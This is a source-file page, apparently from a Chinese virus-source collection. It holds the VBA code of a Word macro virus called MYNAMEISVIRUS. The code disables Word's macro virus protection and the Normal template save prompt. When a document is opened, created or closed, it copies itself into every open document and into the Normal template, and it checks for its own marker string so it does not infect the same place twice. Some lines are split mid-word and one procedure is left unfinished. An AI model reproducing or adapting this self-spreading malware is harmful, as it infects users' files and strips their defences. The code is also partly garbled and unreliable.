mynameisvirus病毒.txt

来自「病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码」· 文本 代码 · 共 147 行

MYNAMEISVIRUS code 

Sub AutoClose() 
'yangyh99-11-24 9:15:38HP LaserJet 6L (PCL) on \\HUQY_PC\HPLASERJCFB 
On Error GoTo out 
'yangyh99-11-24 9:15:38HP LaserJet 6L (PCL) on \\HUQY_PC\HPLASERJCFB 
Options.VirusProtection = False 
'yangyh99-11-24 9:15:38HP LaserJet 6L (PCL) on \\HUQY_PC\HPLASERJCFB 
Options.SaveNormalPrompt = False 
'yangyh99-11-24 9:15:38HP LaserJet 6L (PCL) on \\HUQY_PC\HPLASERJCFB 
Private Sub Document_Close() 
' 
Dim aready As Boolean 
Dim star As Long 
Dim send As Long 
Dim answer As String 
Dim path$ 
Options.VirusProtection = False 
answer = "MYNAMEISVIRUS" 
star = 1 
send = 1 
path$ = Options.DefaultFilePath(wdUserTemplatesPath) 
If Documents.Count <> 0 Then 
For i = 1 To Documents.Count 
For Each xitem In Documents(i).VBProject.VBComponents 
' If xitem.Name = "NewMacros" Then 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1) 

If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
Next 
End If 
For Each xitem In NormalTemplate.VBProject.VBComponents 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1) 
If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
End Sub 
Private Sub Document_New() 
' 
Dim aready As Boolean 
Dim star As Long 
Dim send As Long 
Dim answer As String 
Dim path$ 
Options.VirusProtection = False 
answer = "MYNAMEISVIRUS" 
star = 1 
send = 1 
path$ = Options.DefaultFilePath(wdUserTemplatesPath) 
If Count <> 1 Then 
Count = Count + 1 
' Documents.Add 
End If 
If Documents.Count <> 0 Then 
For i = 1 To Documents.Count 
For Each xitem In Documents(i).VBProject.VBComponents 
' If xitem.Name = "NewMacros" Then 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1) 

If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
Next 
End If 
For Each xitem In NormalTemplate.VBProject.VBComponents 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1) 
If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
End Sub 
Private Sub Document_Open() 
Dim aready As Boolean 
Dim star As Long 
Dim send As Long 
Dim answer As String 
Dim path$ 
answer = "MYNAMEISVIRUS" 
Options.VirusProtection = False 
star = 1 
send = 1 
path$ = Options.DefaultFilePath(wdUserTemplatesPath) 
If Count <> 1 Then 
Count = Count + 1 
' Documents.Add 
End If 
If Documents.Count <> 0 Then 
For i = 1 To Documents.Count 
For Each xitem In Documents(i).VBProject.VBComponents 
' If xitem.Name = "NewMacros" Then 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, star + send, 1) 

If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
Next 
End If 
For Each xitem In NormalTemplate.VBProject.VBComponents 
If xitem.Name = "ThisDocument" Then 
send = xitem.codemodule.countoflines 
aready = xitem.codemodule.Find("MYNAMEISVIRUS", star, 1, send, 1) 
If aready = False Then 
With xitem.codemodule 
.insertlines star, MacroContainer.VBProject.VBComponents(1).cod 
emodule.Lines(1, 150) 'codemodule.procbodyline("Autoexec", vbext_pk_Proc) 
End With 
End If 
End If 
Next 
End Sub